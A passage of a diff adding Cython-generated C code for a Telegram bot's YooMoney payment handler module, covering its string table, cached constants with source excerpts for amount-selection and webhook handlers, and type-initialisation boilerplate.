sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_u_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 1, 0, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_notification_secret, __pyx_k_notification_secret, sizeof(__pyx_k_notification_secret), 0, 0, 1, 1}, + {&__pyx_n_u_notification_type, __pyx_k_notification_type, sizeof(__pyx_k_notification_type), 0, 1, 0, 1}, + {&__pyx_n_u_operation_id, __pyx_k_operation_id, sizeof(__pyx_k_operation_id), 0, 1, 0, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_yoomoney, __pyx_k_pay_yoomoney, sizeof(__pyx_k_pay_yoomoney), 0, 1, 0, 1}, + {&__pyx_kp_u_paymentType_PC_comment_label, __pyx_k_paymentType_PC_comment_label, sizeof(__pyx_k_paymentType_PC_comment_label), 0, 1, 0, 0}, + {&__pyx_n_s_payment_url, __pyx_k_payment_url, sizeof(__pyx_k_payment_url), 0, 0, 1, 1}, + {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_yoomoney, __pyx_k_process_callback_pay_yoomoney, sizeof(__pyx_k_process_callback_pay_yoomoney), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_kp_u_quickpay_form_shop_targets_sum, __pyx_k_quickpay_form_shop_targets_sum, sizeof(__pyx_k_quickpay_form_shop_targets_sum), 0, 1, 0, 0}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_u_sender, __pyx_k_sender, sizeof(__pyx_k_sender), 0, 1, 0, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_n_s_sha1, __pyx_k_sha1, sizeof(__pyx_k_sha1), 0, 0, 1, 1}, + {&__pyx_n_s_sha1_hash, __pyx_k_sha1_hash, sizeof(__pyx_k_sha1_hash), 0, 0, 1, 1}, + {&__pyx_n_u_sha1_hash, __pyx_k_sha1_hash, sizeof(__pyx_k_sha1_hash), 0, 1, 0, 1}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_s_string_to_hash, __pyx_k_string_to_hash, sizeof(__pyx_k_string_to_hash), 0, 0, 1, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_user_id_str, __pyx_k_user_id_str, sizeof(__pyx_k_user_id_str), 0, 0, 1, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {&__pyx_kp_s_web_Request, __pyx_k_web_Request, sizeof(__pyx_k_web_Request), 0, 0, 1, 0}, + {&__pyx_n_u_withdraw_amount, __pyx_k_withdraw_amount, sizeof(__pyx_k_withdraw_amount), 0, 1, 0, 1}, + {&__pyx_n_u_yoomoney, __pyx_k_yoomoney, sizeof(__pyx_k_yoomoney), 0, 1, 0, 1}, + {&__pyx_n_u_yoomoney_2, __pyx_k_yoomoney_2, sizeof(__pyx_k_yoomoney_2), 0, 1, 0, 1}, + {&__pyx_n_u_yoomoney_amount, __pyx_k_yoomoney_amount, sizeof(__pyx_k_yoomoney_amount), 0, 1, 0, 1}, + {&__pyx_n_s_yoomoney_webhook, __pyx_k_yoomoney_webhook, sizeof(__pyx_k_yoomoney_webhook), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 110, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/yoomoney_pay.py":102 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__7 = PyTuple_Pack(2, __pyx_kp_u__6, __pyx_int_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__7); + __Pyx_GIVEREF(__pyx_tuple__7); + + /* "handlers/payments/yoomoney_pay.py":178 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__17 = PyTuple_Pack(1, __pyx_kp_u__16); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__17); + __Pyx_GIVEREF(__pyx_tuple__17); + + /* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__23 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__23); + __Pyx_GIVEREF(__pyx_tuple__23); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__23, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_callback_pay_yoomoney, 38, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__24 = PyTuple_Pack(1, __pyx_n_u_yoomoney_amount); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__24); + __Pyx_GIVEREF(__pyx_tuple__24); + __pyx_tuple__25 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__25); + __Pyx_GIVEREF(__pyx_tuple__25); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__25, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_amount_selection, 98, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 98, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + __pyx_tuple__26 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_notification_secret, __pyx_n_s_sha1_hash, __pyx_n_s_string_to_hash, __pyx_n_s_calculated_hash, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__26); + __Pyx_GIVEREF(__pyx_tuple__26); + __pyx_codeobj__11 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__26, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_yoomoney_webhook, 137, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__11)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__27 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_enter_custom_amount, 171, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 171, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__28 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__28, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_custom_amount_input, 186, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)) __PYX_ERR(0, 38, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 98, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)) __PYX_ERR(0, 137, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)) __PYX_ERR(0, 171, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)) __PYX_ERR(0, 186, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + 